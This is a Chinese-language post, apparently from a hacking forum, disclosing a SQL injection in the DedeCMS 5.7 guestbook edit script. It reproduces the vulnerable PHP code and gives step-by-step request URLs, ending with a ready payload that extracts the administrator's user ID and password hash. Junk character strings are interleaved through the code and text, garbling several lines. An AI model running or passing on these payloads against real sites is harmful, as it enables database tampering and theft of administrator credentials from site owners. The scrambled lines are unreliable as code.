影响版本为5.79 k3 d: ?# G, s
4 \# ]. `* C1 n( T9 r! W+ {( f
漏洞文件edit.inc.php具体代码:
3 m" u& z l6 N9 u3 S
/ V: L0 I, F% _; z5 d6 O< ?php 7 c7 ?! [4 l' d0 q! i
: D( [ U2 {5 T5 H5 w1 w# k
if(!defined('DEDEINC')) exit('Request Error!'); ) X/ n- P5 ?0 o6 ~
. {! h, W% I- ~0 q) w 9 `# t: Z# p; ~! E. b4 n
( M0 H8 y( r- k* }5 }2 u) x
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; ' {0 j9 F/ _( `5 {
h$ B4 a6 l+ S/ q
else $GUEST_BOOK_POS = "guestbook.php";
5 g5 F4 t. Z* C2 P- V
9 d4 h& J1 O; B% N8 M8 H, r2 U ( W% E7 \0 }5 l; n% T9 H% T8 u! W0 X: @
% [0 ]/ ]. C K G3 R: e8 O( F7 n$id = intval($id); $ \( m6 @$ x6 r; g; w
: \1 h( r9 G- _6 r/ j
if(empty($job)) $job='view'; : N4 b, E$ O' `+ R( i8 @7 X$ r1 P* _
4 A! V' c3 B: W. z5 V
* ]/ g1 ?# g+ l ~1 ]
0 s5 n( v% t, T+ n' k3 V% hif($job=='del' && $g_isadmin)
+ `/ |3 E: g* ]4 H. K5 M, B
G! t0 i+ M- L# m{
T; B% g* z0 m3 D& F' e% L$ \% S$ h3 A! {7 r; p' j
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); 2 P' o0 ]0 b9 P5 p
4 d" _+ m- H4 B! `( LShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
J# f# o" G+ ]" M7 p Y. r. B: Z" m
exit(); 7 l: h$ A( f! X2 Z0 _& E- V/ W3 v
E3 Z- N; i0 I% C. d, N# ^} $ \6 z% h9 n( X6 f7 L
, j' O# |" c( lelse if($job=='check' && $g_isadmin)
$ ^9 v1 n) P3 E5 m# U- w7 @6 W
# L; D9 h# Y! O( y3 d{ 2 F# F& j1 j6 Z5 Z5 C, ~! v% O
' W; n* L& p/ @. a' Q; w0 M, _, E/ [$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); ' r4 }2 N" V5 `# c5 \3 r
8 o- I' g5 f# N0 C0 x9 ^2 q- GShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); 3 t' H! B3 v T% l
0 x8 H4 g$ X- A* f# S, C, o6 Q
exit(); . k8 B! C6 p) Q2 ]: X
" w2 i5 ^6 @. b7 r) \7 _}
2 a) J' ]; {- k' y; L
" ~( d1 w3 V# g; C; M7 h; @. w- w) Belse if($job=='editok') 1 d, P5 y1 I; z% w7 B! o
+ w7 J [/ I j" A
{
5 M: {- ~" I. e2 s9 V# j% q
( B# F" B1 p' p$remsg = trim($remsg); & B( k; z5 F* z$ T% Z. w
9 R! R" m' |; X- a8 A' w$ Lif($remsg!='') ( Z! L/ q0 i5 O7 E- d
2 E" F: M' Y8 f$ T
{
2 ^1 w$ b1 m5 j) r7 G! a7 [3 H, n. t( E. _
//管理员回复不过滤HTML By:Errorera blog:errs.cc 3 u7 h! H, U& b: H) m
' J r# u8 w5 D( C% R9 dif($g_isadmin) 3 u) |- H, C4 l+ M' ~
1 B0 S; D+ i; r$ R ^' Y
{
/ }6 w8 ^9 N7 W v/ X- }9 q- r# v w, m8 u; P: F8 w5 u
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
# K/ x- Q* E/ w
( ^+ N1 `: u/ Q% n# m @" K//$remsg <br /><font color=red>管理员回复:</font> } 2 p& b7 v2 j5 F
. ]$ @6 @0 P# y3 M' |" M# b
else ; ?) G4 }- p) x G' v8 g) ]' i: h$ P
" v* Y- A% r! v$ B7 y2 ~{
3 d, u3 d! n8 c' _! V: x
3 T8 R9 J Z3 Y. a, p3 k$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 1 d' O0 G% {/ P
* }( t$ `( X4 n+ E
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ( k' o0 P( S0 G# v* c
C8 m0 f+ c/ F! z5 @
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 7 n3 A. @# J2 f. _
3 P0 s8 V3 n1 ?1 e$msg = $oldmsg.$remsg; / p, b2 g: ]7 z9 k. D
& t6 K4 D( L" |% b( D/ `$ s" W4 ]
}
. Y9 s, ], h% N6 Q) _+ r% r) S: ]" ^6 `6 O
}
, p( X0 } `6 K! @, O% M* ?! |3 l: Z' v- a% C+ @ B! ^
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
4 g2 F; }) m$ B) g( p
$ c2 m; u) o: I( v; |+ V$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); ( V! W1 w. j$ k6 B
$ j, q2 q7 i% `* tShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); / M5 W' ~6 l% D! ^/ @. k% A; u. }
; g# g6 N! j* K: W7 l' d& ~
exit();
) e. m9 v+ x! }# E4 L
4 R& ^) j9 h( {: g} $ {4 a3 g8 r0 O# V3 ?
. M Y, `9 Q2 T0 ]
//home:www.errs.cc / E% E2 ^' \6 t& m( ? u0 D
k# z( p4 f' Q/ X- I! \% g
if($g_isadmin) 9 p7 z! \- ^4 y# C% h0 I. @
9 @3 }$ b ]/ a0 v* D# v
{ ' x& Y- [8 |" g! V
* f5 s0 r) p0 k% T# S0 N/ s9 a
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); J- {, z! G5 d* E9 B2 e, G
) u* y, g2 i! u, @) r1 s! d: S( P8 y! Irequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); $ B# u5 y4 Z5 }/ l9 }7 r1 |- r
, K9 V/ E, L" P- H}
. J4 c7 ]0 ]2 V1 ?# X+ m) U
9 t, Q" F9 s! c5 Z2 y/ x1 selse
6 o0 l t. m6 E) @/ d
7 m/ M/ M: F+ }7 G: o3 V3 V4 l{ 5 i3 @& _4 B6 W- F) r# `2 u
) C& b; d) S% h1 g/ B5 Y% O$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); ' E, x# C1 ~" @- V5 k
9 d' O1 R. z x7 k8 o, U4 h( @
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
+ }, F# s H: B6 o( V7 i2 G j
; j, b) ]' R- n9 Y: E5 r' x} 漏洞成功需要条件:" L- N' [# N& ^$ G7 O
1. php magic_quotes_gpc=off1 ~% j0 w3 L- I2 W0 k) G
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。" e( h* [3 U( ?8 b/ K0 ?8 H
$ M8 q6 A% N6 X, f! I4 m1 l
怎么判断是否存在漏洞:+ B- G7 t' R+ P
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,# ?$ z' i8 F1 o. v7 D9 V6 p
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID0 P9 m3 s5 B2 j( C+ a% @2 i
访问:1 C: n. G/ p( I; C
- T# T* W/ O4 P. t0 B# Nwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了' |! e3 N4 R; R# Z1 a6 `! r9 g
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 |; w# @' _$ N; N# B3 l B* K+ R2 a3 t4 Z0 Q2 k; g, [
( n) ?. }- X9 f$ u! W8 Y/ G7 ]明漏洞无法利用应为他开启了 php magic_quotes_gpc=off. j) u! a0 N" e/ s
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
5 S+ _3 g1 f R% n& ^3 f那么再次访问
: `; O$ A7 @; c! X Y" e+ R( ^, o5 b- A" H3 y1 L2 i% J
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
! O' r/ |4 h% x9 n: i& L
6 V$ F" h6 _% Y# {" K大概利用就是这样,大家有兴趣的多研究下!!
8 K9 F; P |% L+ r# q: p0 n. F8 n
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
: G' f6 ~8 T- O7 J* C' D. n" K; B- P+ ^1 F5 i, F2 h
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |